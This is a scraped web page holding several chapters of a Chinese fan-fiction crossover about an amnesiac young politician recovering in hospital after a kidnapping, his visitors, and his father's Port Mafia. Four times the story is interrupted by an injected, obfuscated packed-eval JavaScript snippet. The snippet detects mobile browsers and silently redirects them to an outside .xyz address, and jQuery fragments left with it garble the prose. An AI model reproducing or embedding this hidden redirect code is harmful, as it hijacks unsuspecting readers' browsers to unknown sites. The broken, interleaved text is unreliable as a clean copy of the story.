;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14285455|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起了一场禁烟运动,当然,最后被以中原中也为首的烟民派坚决抵制而不了了之了。 不许纹身,这种东西虽然看起来很酷,但是会对皮肤造成轻则感染过敏,重则破坏神经细胞的潜在风险,身为医生的森鸥外非常不希望在儿子身上看到这种东西,一直有教导森於菟要保持身体清爽干净。 至于毒品,那就更是绝对禁止了,森於菟如果胆敢沾染毒品……森鸥外怕是真的会让爱丽丝打断儿子的腿。 “no drugs,no cigarettes,no tattoos……”太田於菟扳着手指头细数父亲给自己下达的禁令,然后看向中原中也嘴里叼着的烟,强忍下自己上手给掐掉的冲动,“中也你如果戒烟的话,说不定能长命百岁哦。” 中原中也嗤笑,“老子活那么久干吗?” 也许是因为自身的经历,中原中也对待这种事情比许多人都要豁达通透得多。 “中也当然要平平安安长长久久,毕竟……”森於菟话锋一转,依旧笑着的眉宇间多了几分认真,“我留在Port Mafia的钢之神谕上,写下的名字,是中也哦。” 听到“钢之神谕”,中原中也顿时一惊。 钢之神谕,在Port Mafia内部有着与首领的“银之神谕”同等的效力。由Port Mafia的成员在支票上写下全部财产,背面则写上希望领导自己的人的名字,在危急时刻有宣布临时替补首领的作用。赌上全部财产,这是只有做好即使失去一切也不在乎的觉悟时才会写下的东西,是作为部下对上司的恳求[1]。 “等等,於菟,你……” 然而森於菟却是岔开了话题:“不过,中也你在芥川面前还是少抽点吧,芥川的肺已经够脆弱的了,还要吸你的二手烟……” …… 电梯里,中原中也远眺着横滨港的风景,脑海中却是回想着三年前那起“共噬”事件前不久,他前去东京和森於菟的那次见面。 直到三年后的今天,关于Port Mafia前干部A的后续遗留问题,才算是彻底处理完了啊。 拿出手机看了眼通话和聊天记录,自从半个多月前那场临时取消的热带游乐园行动后,於菟就再没有和他联系过了。 虽然他也知道於菟为了进军政界,自从大学毕业后便有意避开和Port Mafia频繁地直接联络,连Port Mafia总部都不怎么回了,甚至连手机都设置了定时自动清理数据…… 但是,偶尔也回家看一下吧。 他现在连见到电视采访里的太田议员都比见到森於菟本人的频率要高,唉…… …… “唔……” 太田於菟挣扎着睁开眼皮,他刚才迷迷糊糊地做了个梦。 醒来已经记得不太清楚了,只记得梦里有个浅灰色头发的男人,长得和那个叫小野的歹徒挺像的。梦里,那个男人对他说着什么【太宰治……被森首领害得不轻……】 诶?! 等等,这意思难道是…… “前辈,你醒了!” 一旁响起的声音打断了太田於菟的思绪。 原本在病床旁坐着陪护的巨势弥一在看到太田於菟醒来后,立刻送上一则最新情报: “前辈,刚刚接到消息,那个绑架你的歹徒小野,昨天夜里被收押后不久,就在狱中暴毙身亡了。” 17.失忆第十七天 Chapter 17 熟悉的医院,熟悉的病房,熟悉且难吃的医院病号餐, 杯户中央医院,你的太田议员is back 呼吸着尚未久违的消毒水味道,太田於菟觉得自己要不在这家医院办个VIP会员算了,距离上次过敏住院才过去多久啊就二进院了。 不……这次原本不需要住院的,全都是那个叫太宰治的男人害的! 当时太宰治一副要对他做什么的样子,吓得他像条无头毛毛虫似的在地上疯狂蠕动,结果在慌乱中蠕出了那个房间……然后一个不小心从楼梯上滚下去了。 如今回想起来,太宰治当时是在身后故意把他往楼梯的方向驱赶的,故意的故意的绝对是故意的! 最终,以阵平和研二为首的警察们在接到太宰治发出的“万事OK”的信号后,旋风般冲进楼里后领到了一只鼻青脸肿、眼冒金星的他,当即就拉响警笛一路狂飙着把他送去了医院,唯恐他脑震荡。 而此刻一觉醒来,巨势弥一就又向他送上了这么一条劲爆消息。 一时间,万千思绪在太田於菟的脑海中涌起,然而只用了一秒钟便消化梳理好一切,对此做出回应。 “是吗,死了啊……真是着急啊,这么快就上赶着要灭口,真遗憾,没办法以他为线索,继续对他背后的那股黑恶势力进行调查了。” 这便是太田於菟决定的给外界的交代,意外发现了一个可疑分子,还没来得及有所行动便被对方绑架,感谢警视厅同志们的英勇救援以及民间组织武装侦探社的热心相助……当然也要感谢好亲友迹部景吾君的慷慨解囊。 不过,果然如同太宰治最后说的那样,那位幕后的“森先生”会帮他处理好后续…… 真的出手,帮他把必须要永远沉默下去的小野解决掉了啊。 再加上刚刚做的那个梦…… 【太宰治……被森首领害得不轻……】 这简直让他在“我恨太宰”“太宰去死”的暴龙喷火模式和“我真该死啊”的扇自己巴掌模式中反复横跳。 太田於菟两眼一闭,懒得再去思考这个疑似恨海情天的问题,安详得仿佛失去了所有力气和手段。 但是…… 不行,这次事件,还不能到此结束。 “弥一,当时那场关于是否要提取一亿日元资金来赎我的讨论会,现场状况是怎样的,参会人员都是什么态度,描述给我听。” 太田於菟再度睁开眼睛时,瞬间从刚刚的ESFP模式切换为ENTJ模式。 这也是当时他用“一亿赎金”来诓骗小野的目的之一,结果那场政府内部的讨论会开得比他预期要短很多……被景吾君突然发动的钞能力强行终止了。 短暂的沉默,巨势弥一用难以置信的眼神看向他尊敬的上司: “前辈,你当时在那种危险的境况下,还在想着这些吗……?” “那是当然的了,被绑架本身就已经是一种负支出了,总要利用这场绑架收获一些有效价值,才能够翻盘回本甚至盈利啊。”太田於菟讲述着自己的理论,并且完全不觉得这有什么问题,“在政治场上一定要把控好的一点就是,分辨清谁是我们的敌人、谁又是我们的朋友。” 说完后,却并没有得到巨势弥一的即刻回应,太田於菟总觉得有什么东西正在这小子身上酝酿…… “前辈你这个大笨蛋——!!!全日本第一的大笨蛋——!!!” 一向在太田於菟面前永远是一副“前辈好棒棒!”“前辈赛高!”死忠粉样的巨势弥一这次彻底破防了,破防得还很厉害,一把揪住太田於菟的病号服衣领,厉声呵斥着: “没有什么是比你性命更重要的啊!!!” 一瞬间,太田於菟愣住了,总觉得大脑一阵翻江倒海般地炸痛,又仿佛有什么画面在眼前闪过…… 【没有什么是比你性命更重要的啊!】 谁,是谁,记忆里,是谁在对他说着这种话…… 待到大脑的剧痛平息后,太田於菟看着已经快要气哭了的巨势弥一……他自己也快要哭出来了,委屈哭的! “呜呜……弥一你也凶我,你们都凶我!” 觉得自己委屈死了的太田於菟把自己团进了被子里,整个人从头到脚全部蒙住还不忘掖紧被角,看起来跟个白乎乎的大蚕蛹似的。 弥一第一次对他这么凶,还有之前景吾君也凶他。 终于线下见到了迹部景吾真人,他还没来得及感叹这人身上那股仿佛想要飞上天和太阳肩并肩的气场耀眼过了头,简直把他衬得像是个阴暗爬行的物种……结果小景就劈头盖脸冲他一通训! 【跟你说了多少次了,你当选议员后身份不同过去,要高度注意人身安全啊!和你提过多少次给你配保镖和防弹车,你偏偏都不听,天天非要坐那么危险的地铁上下班!你以为你是谁啊,你难道不知道在这个国家连首相都可能被人当街枪毙的吗!】 当时本就摔楼梯摔了个灰头土脸鼻青脸肿的他,更是恨不得化身刨地鼠把自己给埋起来好逃避这个世界……亲友,求求你别说了,你没看到周围还有那么多警察吗,你这样说有在抱怨警视厅划水的嫌疑诶! 还有,有阵平和研二这两个爹就够多了,怎么小景你也一股爹味儿啊……明明天秤座的你比处女座的我还要小一个月啊! 所有人都把他当儿子训!现在甚至连他的后辈也要倒反天罡了! 太田於和巨势弥一之间其实从大学起就很少冷战的,就算起了争执,每次冷战时间最多也就三分钟,差不多泡一杯泡面的时间。 但是巨势弥一这次实在是太生气了,所以狠下决心要多冷战一会儿,冷战到……三分半钟。 不要小看那半分钟啊!那是他愤怒的具象化! 三分半钟后…… 巨势弥一伸出手指,戳了戳床上的大蚕蛹。 然而蚕宝宝蛄蛹翻腾了几下后,还是不肯破茧出来。 巨势弥一:“前辈,我去楼下超市给你买你最喜欢的榛仁巧克力,要吃吗?” 沉默了三秒钟后,蚕蛹里缓缓伸出一根手指。 “要一块就行是吗?” “不,是要一盒。” “好,我知道了,还有……拜托前辈你比数字的时候不要用中指。” …… 其实太田於菟受的都是些皮外伤,擦擦药就好了,并不需要住院的。但是为了展示政府对这一恶性事件的重视,以及对正义勇敢的国会议员的关怀,还是强行让他住了院。 虽然这院住得并不安宁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14295646|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆陆续续来看望他的同事不少,但比起探病,这些人中的大多数都把这儿当成了政治形象KPI打卡点,他甚至还要配合着对镜头拍照,住个院还得被迫当假笑男孩。 但是真心实意来探望他的也有,比如他的那三个爹(划掉),三位亲友。如果不是因为各自的工作都太忙,这仨人怕是要在这儿扎根陪护。 就连之前把他骂了个狗血淋头的迹部景吾,都在他抚着头表示【啊,好痛,我是不是脑震荡了】的虚弱攻势下,应他要求给他念英文版的《NARUTO》,并且要用莎士比亚戏剧腔念哦:) 然后他发现……不愧是想要飞上天和太阳肩并肩并且比太阳还要耀眼的景吾君,竟然连这种事情都能够完美完成,那一声声的“Naruto!”“Sasuke!”仿佛不仅仅是在讴歌着乡村朋友情,更是都披上一抹文艺复兴的人文主义圣光了。 迹部景吾,真是恐怖如斯啊。 而来看他的人中,还有三拨比较特殊的人…… 第一拨是武装侦探社的代表,国木田独步和中岛敦带着鲜花和果篮来探望他,在看到来者里没有太宰治时他其实悄悄松了口气。然后状似不经意地询问起太宰治怎么没来,国木田独步只说那家伙今天有别的任务出差去了。 ……虽然事实是太宰治翘了一天的班不知道干什么去了,但是为了武装侦探社的声誉,国木田独步没好意思说出来。 国木田独步和中岛敦除了表达早日康复的祝福外,也表达了歉意,没能把太田议员完好无损地救出真的是很抱歉啊。而对此,作为一个体面的成年人,太田於菟也只能微笑着表示哪里哪里,我能够活着从歹徒手下逃离真的是多亏侦探社了,一定会给侦探社五星好评的,而且还应该给那位太宰先生记头等功才对。 ……虽然那家伙也是害他住院的罪魁祸首,呵呵。 …… 与此同时,东京的热带游乐园—— “太宰君,请问你叫我来这种地方做什么?” 已经连续加班一星期的坂口安吾在接到太宰治的短信后,无奈地来到这里和他汇合。 太宰治一脸纯良地看着坂口安吾的黑眼圈,“呀,安吾,你这种状态如果和我一起坐云霄飞车的话,会在车上直接昏过去吗?” 坂口安吾:“……” 做个人吧,太宰君。 “开玩笑啦,开玩笑~”太宰治摆了摆手,转换为了认真谈事情的样子,“我今天找安吾来,是有很重要的事情想要请安吾帮忙,总之,先跟我来吧。” 听到太宰治这么说,坂口安吾也严肃了起来,跟上了太宰治的脚步。 接着,他发现太宰治把他带到了游乐园里的一间男厕所。 太宰治对着这一连串的马桶隔间,大手一挥道: “唔……毕竟游乐园是不可能在厕所内部安装监控的,所以没办法知道他当时用的是哪个隔间里的马桶……所以,安吾,拜托了,用你的异能力探查一下这些马桶在过去的一个月里都发生了什么吧~” 马桶是用来做什么的,所有人都知道…… 而且游乐园这种地方每日人流量如此之大、每日马桶使用频率如此之高…… 坂口安吾:“……” 太宰君,你是魔鬼吗! 18.失忆第十八天 Chapter 18 太田於菟并不知道已经有人前去热带游乐园调查关于他的事情,他此刻正在病床上接待第二拨特殊的客人。 米花町的毛利父女带着帝丹小学的少年侦探团来探望他了。 吉田步美再度星星眼地对他表示感谢,只要有太田议员在身边,无论发生什么都能逢凶化吉呢,小姑娘已经俨然成为了太田议员的最年幼铁杆支持者! 太田於菟微笑着回应小姑娘,并再次在心中默默感叹这小姑娘的天选人质圣体,这被选作当人质的频率和概率都太高了些。 只不过,此时此刻,这个房间里,他更加在意的人是…… 那个名为毛利小五郎的邋里邋遢的大叔。 警察告诉他,案发当晚,是这位名叫毛利小五郎的私人侦探最先推理出了他被绑架的地点,指挥着警察们追踪到了现场。 毛利(Mouri)…… 和森(Mori)的发音很相近,主要就是长短音上的差别,会不会是之前太宰治念名字的时候他听错了,把“毛利(Mouri)先生”听成了“森(Mori)先生”……?毕竟他这次刚一出事,这位毛利先生就带着警察来救他了,多多少少有点巧合了吧! “真是的,那天晚上我本来打算去冲野洋子的演唱会的,结果为了救议员你,我可是彻底错过了啊。” 毛利小五郎想想觉得还是有点可惜,作为冲野洋子忠实粉丝的他没抢到昨晚那场演唱会的门票,本来打算去场馆外面晃一晃看能不能买到张黄牛票,结果稀里糊涂地就掺和进了这桩案子里。 说起来,最近这段时间,他好像特别容易就能遇上案子,明明过去十天半个月都接不到一单生意的。 然而太田於菟在听到这话后,整个人彻底石化了,大脑内部已经炸成了烟花。 这简直,是不容逃避的事实狠狠地拍在了他的脸上…… 他这么狠的吗,为了前途,连毛利先生这样的大叔都可以的吗? 不,不,说不定邋遢大叔只是伪装出的表象,另一面其实是深不可测气场慑人的里世界大佬,漫画里不是经常有这样的设定吗? 但是在看到毛利先生身旁那位都已经念高中了的女儿时…… 还是想要狠狠掌掴自己啊!我真该死啊!不,我还是现在就去死吧我个人渣! 一旁的江户川柯南一直都在默默观察着太田於菟,其实他对太田於菟的怀疑已经基本打消了,毕竟那样一个犯罪组织应该不会有这种怀着如此感恩之心的成员吧? 感觉太田议员都快要对着他以为的恩人毛利大叔哭出来了。 这么感动于大叔的恩情吗,总觉得都快要过呼吸了啊太田议员! …… 送走了米花町代表团后,太田於菟把床头柜上放着的那一整盒榛仁巧克力都给啃完了才让自己勉强平静了下来。 然而才刚刚喘过这口气,第三拨特殊的客人到访了,巨势弥一更是恭敬地将人一路带进了病房。 来者正是日本国家公安委员长冈田先生,这可是由首相亲自提名的内阁成员,是这个国家数得上的大人物。 同行的还有金井湛,金井湛作为下属,被自己派系的这位老大点名陪同一起来了。 太田於菟刚开始是有点意外这位大佬到访的,毕竟自己拜山头的派系和对方是敌对的。不过,公安委员长是主管全国警察事务的,对方来看望他倒也算合情合理。 嘘寒问暖了一番后,冈田先生也以一副经验丰富的前辈口吻说道: “太田君,你身边的人员配备也太简陋了。根据规定,每位议员可以配备三名秘书的,你现在就只配备了一名,而且也是位经验尚浅的新人,这样工作起来可能会有点吃力啊。” “没关系,对我来说秘书数量不在多,勤奋高效且与我配合默契才是最重要的。”太田於菟态度得当地回复,同时不忘偷偷朝自己的贴心大秘比了个wink。 巨势弥一:“!!!” 我愿意永远追随你啊於菟前辈!!! “而且,我毕竟还是个新人,与前辈们相比实在是太稚嫩了。所以,各种工作,还是都亲自经手一遍会比较好。虽说不会带团队就只能自己干到死,但如果自己没有过硬的实力打底,带团队也只会没底气啊。您说是吧,冈田先生?” 冈田听着这番话点了点头,看起来似乎很是认可这位后辈的样子: “不过,太田君是不是也该考虑一下安全防备问题?我听说太田君到现在都还是经常独自搭地铁上下班,身边也没有随行保镖护卫,这样很容易成为不法之人下手的目标啊。” “不会啊,金井议员有陪我一起坐地铁的,我们俩住的很近。”太田於菟当即指了指一旁站着全程当雕塑的人。 金井湛:“……” 你少说两句话是会怎样吗!还有,我们那是地铁凑巧遇上,不是约好的!我们是那种能够成为上下班搭子的关系吗! “我一个初入国会的新人,还是不要搞出那么大的阵仗比较好。而且保镖什么的其实不需要啦,要是雇了保镖,我们俩谁保护谁还不一定呢。别看我这个样子,我以前可是念过警校的哦,而且在警校的成绩还相当好。” 太田於菟一脸骄傲地表示我可是很强的! “哈哈,你有自信能保护好自己就好,本来我还想给你介绍几个靠谱的保镖呢。毕竟,这几年崛起的新人里,太田君可是我最看好的苗子,是最值得被好好打磨的钻石啊。” 冈田说出的这番话,笼络的意味不言而喻。 而太田於菟则是谦逊地回道: “您过奖了,冈田先生。国会里没有比我更稚嫩的小朋友了,我还得多多向身边的所有大人们学习才是呢。” 听了这番回应,冈田笑了笑,没有多说什么,随便又聊了两句后便表示还有事情要忙,就先告辞了。 离开医院,轿车已经在外面停好等候了。 轿车里—— “金井君,你对太田於菟怎么看,你不是和他关系很好吗?” 副驾驶座上的金井湛听到上司这番问话,一直保持着的标准政客扑克牌脸瞬间垮掉了,艰难地吐字: “不……我和他关系没那么好,只是凑巧住在同一个地铁站附近,有时上下班会遇到……” 后座上的冈田先生挑了挑眉,轻笑了声道: “开会的时候你们之间不还传纸条玩吗?” 金井湛:“……” 当时果然是被冈田先生看到了啊!冈田先生现在是在问责我吧!我恨太田於菟! “冈田先生,很抱歉,我以后会注意的。” 然而冈田先生并没有要批评的意思,只是继续调侃着: “我有看到你们中午还一起在食堂吃饭啊。” “我也不想的啊!是那家伙非要黏过来!”破防了的金井湛拔高了嗓门,而意识到自己一时头脑发热在上司面前失礼了,立刻低头道歉,“抱歉,冈田先生,我……” “哈哈哈哈,好了,好了。”冈田也不再逗弄下属,切换回正经谈事情的样子,“说说看吧,你对太田於菟的看法。” 金井湛沉默地酝酿了片刻后,认真地说道: “很难评价他……他表面看起来像只狐狸,但我总觉得他的内在也许更像是一头老虎。” 冈田:“因为他的名字是‘於菟’?” 金井湛:“……” 先生,这个笑话好冷。 “好了,不开玩笑了。”冈田摆了摆手,拿起手头那份太田於菟自警校起的个人履历档案,一边阅览一边说着,“他很聪明,更可怕的是他还那么年轻,我真的很好奇他究竟是被什么人教导出来的,还是说他天生就是干这行的?” …… 医院病房—— “前辈,冈田先生刚刚说的那些话,是在向你抛出橄榄枝吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14304327|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨势弥一关起门来,开始讨论严肃的工作问题,“但是前辈,你没有接他的橄榄枝……为什么啊?说真的,冈田先生的派系如今在政界可是数一数二的强势,不少人私下都还想尽各种办法想要和冈田先生搭上线呢。” 太田於菟捧着本从枕头下面抽出来的《Gintama》正看得津津有味,刚刚贵客到访,他着急忙慌地给藏到枕头底下了: “我要是欢天喜地地抱住了橄榄枝,才是着了那个老家伙的道呢。” “诶?怎,怎么说?” “弥一,尼可罗·马基亚维利的《君主论》读过吧?” “当然。” “十六世纪初,马基亚维利为了把自己创作的这部珍宝献给当时统治佛罗伦萨的美第奇家族,在《君主论》的开篇题记便写道‘那些希望得到君主恩宠的人,总是把自己认为最珍贵的物品或者自以为君主最喜爱的东西献给君主’。” 太田於菟的目光终于从手中的漫画书移开,幽紫色的双眸中跃动着满满的狡黠: “我都还没有为这位‘君主’奉上我的价值,就这么两手空空迫不及待地跳向他的阵营……谁敢用我这种墙头草呢?” “所以,他今天其实是来试探前辈你的?”这么一复盘,巨势弥一顿时直冒冷汗,感叹这真的是步步为营啊。 “嗯,他大概是来考察我这个潜在的未来团队成员的资质的吧,虽然很高兴他把我比喻作值得被好好打磨的钻石,但是……”太田於菟语气一顿,眼中的神色也多了几分嘲弄,“我脑海中有一句话,不知是谁曾经对我说过……‘钻石要靠钻石来打磨’。对我来说,他才不是那颗有资格来打磨我的钻石。” 又简单交流了几句后,巨势弥一询问上司下一步要怎么做。 “什么也不做,我再多住几天院。” “啊?” “汉学古语有云,木秀于林风必摧之,我最近风头出得太多太高光了,是时候收敛一点了。” 又是地铁劫持事件勇斗歹徒还被现场直播,又是调查黑恶势力英勇被绑还不屈不挠,他这只当红炸子鸡要是再咯咯叫着到处张扬,怕是要被人给直接上烤架了。 “不过,也不能完全躺着摆烂什么都不干,暗中搞点小动作还是可以的~巨势秘书,代替我暗中行动的任务就交给你了!” 太田於菟大手一挥准备下达指令。 巨势弥一也相当配合地右手握拳抚于心脏处: “太田先生请讲!” “哼哼,之前不是说了,要辨别出谁是我们的敌人、谁是我们的朋友吗?那场赎金讨论大会上,暴露了敌人属性的家伙们,也该多少收拾一下才对啊。” “太田先生打算怎么做!” “巨势秘书听令,现命你暗中潜伏进那些家伙的办公室,把他们屋里摆放的富贵竹全都给浇死!” 巨势弥一:“太田先生英明……啊,啊?” “哼哼,弥一啊,高端的政斗,往往采取的是最朴素的手段,这叫大道至简。” 很是满意地部署好作战计划后,太田於菟重新看起了手头的漫画。 嗯,决定了,下次小景再来探病的时候,换《Gintama》让小景念,他就不信小景连《Gintama》都能念出人文主义圣光!这可是《Gintama》啊! …… 夜半时分,太田於菟从噩梦中惊醒,大喘着气。 刚刚他梦到太宰治和毛利小五郎这两张脸在他面前交替出现并无限循环…… “我真该死啊!” 太田於菟再次哭唧唧地呜呼哀哉,一巴掌狠狠地朝着自己挥过来然后轻轻落在脸颊上。 望着窗外那圣洁的月光,太田於菟跪坐在病床上朝拜。 双手握着戴在脖子上的十字架挂坠祷告。 仁慈的上帝啊, 我只是相当个首相而已啊, 请你原谅已不再纯洁的我吧,阿门。 19.失忆第十九天 Chapter 19 接下来这几天在医院的日子,太田於菟过得还算惬意,没再有什么特别的访客来看他。 迹部景吾又一次来探视的时候,他当真把《Gintama》递到了对方的手上。不管不管,他今天的绘本就要听这个嘛! “行了,行了,给你念,不要再在床上打滚了。” “小景万岁!” 轻轻一开嗓,迹部大少爷的美学华丽登场。 然后太田於菟便陷入了深深的震憾……小景你竟然真的能把“阿姆斯特朗加速回旋喷气式阿姆斯特朗炮”这种东西读出了古希腊人体雕塑般的美感、优雅感、人文主义神圣感! 小景,你真的是个,好可怕的男人啊。 “啊嗯?你那是什么表情,是你让本大爷读这种东西的吧?” “小景,我觉得豪门继承人的身份耽误了你的赛道,人类历史就此痛失了一位美学家哲学家艺术家。” “哼,姑且当你是在夸赞吧,审美还算华丽啊,於菟。” …… 出院那天,太田於菟又收到一个惊喜,昔日警校时的班长伊达航和未婚妻娜塔莉一起从国外探亲回来了,准夫妇俩和松田阵平、萩原研二一起来接他出院。 伊达夫妇给他带了不少亲手做好的速冻食物,平时忙得没时间做饭的话加热一下就能吃,比点外卖健康。 一行人浩浩荡荡地到了他的公寓后,也是卷起袖子帮忙把好几天没人住的屋子通通风、打打扫,松田阵平还问有没有什么坏掉的家电他顺手给修了。 虽然他们都知道现在那个窝在沙发里一副弱不禁风大病初愈样的臭小子八成是装的,但也只是心照不宣地一笑……能怎么办,只能继续宠着呗。 正在帮忙清扫边角灰尘的伊达航调侃道: “也不知道好几天没打扫,有没有虫子来光顾,现在还害怕蟑螂吗,太田议员?” 当年警校的时候,伊达航和太田於菟是同宿舍室友。 刚开始的时候他还觉得这个高中组第一名的小家伙身上总有股淡淡的疏离与傲慢,直到房间里出现了一只蟑螂…… 这人直接一蹦三尺高,像个树袋熊似的死死攀在他身上,坚决不要沾到这房间的任何地方。 【班长!你快把它消灭!消灭!拥有这种邪恶物种的世界实在是太可悲了啊!可悲到令人绝望!没救了没救了!】 不要因为一只蟑螂就觉得这个世界是错误的啊阿虎! 结果后来和这小子混熟了之后,才知道这小子有多折磨人…… 【班长,最新一期《jump》我买到了,要念给你听吗?】 【明早还要晨跑,睡觉。】 【班长,你真的不好奇《Naruto》的最新剧情吗?这期有揭晓鸣人的身世哦,要我告诉你鸣人的爸爸是谁吗?】 【拜托你不要给我剧透,睡觉。】 【班长,你说鸣人能追回佐助吗?】 【……你要不写信问问岸本齐史?】 【对哦,班长你好聪明!】 【……】 当年那个能把人折磨疯的小子,如今应该也变得成熟稳重了吧,毕竟都已经是当议员的人了。 “哼哼,当然,蟑螂什么的我早就已经不放在眼里了,我眼中还有更为辽阔的星辰大海要征服。” 太田於菟双手抱臂,一脸骄傲地表示如今的我已经不是过去的我了。 松田阵平:“那你倒是快从桌子上下来啊!站在桌子上像什么样子,放心吧没有蟑螂!” “阵平你不许骗我o(╥﹏╥)o” 伊达航:“……” 好吧,从某种角度而言,太田议员他还是曾经那个害怕蟑螂的少年,没有一丝丝改变。 …… 横滨,港口黑手党总部—— 刚刚游击队的下属来报,於菟已经在警视厅好友的护送下离开医院回公寓了,森鸥外点了点头表示了解。 他并不反对於菟和那几个警察来往,毕竟那几个人都是非常出色的人才,未来必然都会成为警视厅的重要人物。作为政客,在警界有人脉可是非常重要的。 虽然,那几个人对於菟的影响是有点深啊…… 【嗯?你说你不要进入警视厅发展了?】 七年前,在警校顺利结业的於菟突然对他说了这样的话。 【是的,爸爸。】 【理由呢?】 【这个国家的警徽是樱花形状的呢,那代表着身为警察的荣誉感和使命感,是坚强和正义的象征……的确,不是所有警察都能做到这些,但是我相信如果是那五个人的话,一定能做到。而我,没有资格和那五个人佩戴同样的警徽啊,那会让他们身上的警徽蒙羞的。】 独自一人回忆起往事,森鸥外不禁长叹了口气。 算起来,就是从十七岁那年前去警校起,於菟便越来越脱离他的掌控,也离他越来越远了。 孩子长大了不再听从家长是很自然的事情,但做父亲的多少还是会觉得有些寂寞啊。 不觉间,放下了手头的工作,踱步至了这栋大楼里於菟原本的房间。 房间里的每一处都始终保持着原本的样子,也一直都定期打扫,尽管这些年没怎么被住过,怪冷冷清清的。 森鸥外走到床边,拿起了床头柜上摆放着的相框。 相框里的这张照片是当年龙头战争结束后不久拍的,照片里的三个少年都才十六岁,这张照片还是他亲手拍下的呢。 照片里,三个少年呈斜线状一字排开,最前面的太宰治冲着镜头吐舌头扮鬼脸,中间站着的中原中也努力挺直身板甚至疑似偷偷踮脚想要让自己显得高一点,森於菟则是躲到最后面弯腰探头想要显得自己脸小。 记得当时他摁下快门后…… 【喂,太宰,你冲着镜头做什么故意卖萌的表情啊!】 【哈?我怎么可能对着一个发际线都没救了的大叔卖萌啊,你以为所有人都是你吗,爹宝小猫咪。】 【不是猫咪,我是老虎啊老虎!】 【有什么区别,体型大一点的猫科动物罢了。】 那段时间,他经常被三个孩子吵得脑壳疼,三个人一旦闹作一团就必然要来他面前轮番告状…… 【森先生!】 【Boss!】 【爸爸!】 他的耳朵天天都像三声道环绕似的,总是一只手批文件,另一只手还得空出来给蹭着他哭唧唧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14315386|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小虎崽顺毛。 没办法,於菟他打架打不过中也君,嘴臭又臭不过太宰君,只能祭出独有的必杀技——找爸爸告状。 【呜呜,爸爸,他们两个又欺负我……】 每次於菟一哭,中也君就手足无措地反思自己刚刚是不是下手重了,又不知道该怎么安慰;太宰君则是觉得於菟哭得还不够到位,在一旁做着演技指导,教於菟要怎样运用表情和肢体上的细节,才能哭得更动人一些。 每次这种情况他都是打哈哈过去,他当然知道於菟是在假哭,因为…… 【真正的眼泪,是不会流出来的,早就在心里流干了。】 当年,异能大战结束后,他去英国接被他独自丢在那儿三年的於菟时,九岁的小於菟是这么搂着他对他说的。 …… 而此时,太田於菟并不知道自家老父亲在回忆往昔,送走了警视厅好友们后,他正忙着…… “异能力——” 克服羞耻心,摆出了个酷炫的放大招pose,然而…… 什么也没有发生。 “难道是要通过结印释放吗?但我该怎么提取我体内的查克拉呢?” 比了个“千年杀”的印后,太田於菟就放弃了,不行不行,他真的不会那些把手拧成麻花的结印啊。 收起这套中二少年十八式,太田於菟摆烂地躺倒在地板上。 那天,他无意间发动的那个异能力到底是什么啊?当时完全没反应过来,只听到“啪!”的一声脆响,不过……原来他真的是那种都市传说中的异能力者啊? 为什么他失忆失到连自己的异能力都会忘记啊!不是都说真正重要的东西,就算头脑忘记了,身体也会记得吗! ……可能那个异能力很鸡肋没什么用吧。 丧气完后,太田於菟从地板上一跃而起,满血复活,坐到电脑前继续噼里啪啦地打字写稿。 工作,工作,今天也是为了成为首相而努力的一天! …… 几日后,满血归来的太田於菟在国会上发表了关于枪支、炸弹等危险品管控问题的重要演讲—— “过去短短不到一个月的时间,我便经历了两次此等恶性事件,我以切身实践体会到了加强管控枪支、炸弹这些危险物品的重要性以及必要性!” “再不管控的话,难道要让这个国家变成人人高举枪、人人都能手搓炸弹的危险国度吗!” “诸位,看看米花町如今居高不下的犯罪率吧!如果再不高度重视这个问题的话,你所生活的地方很有可能就会成为下一个米花!” 太田於菟慷慨激昂的演讲赢得了满堂喝彩,尤其是亲身经历枪支炸弹威胁的感受远比身处高阁之上发表的假大空言论更能令人共情。 这就是从群众中来到群众中去啊! 米花町的群众尤为感动! …… 港口黑手党总部—— 首领和几位干部一起收看了电视新闻对太田议员这次国会演讲的报导,看完后,一屋子的黑.道大佬皆是沉默。 毕竟走私贩卖军火可是他们的重要生意之一。 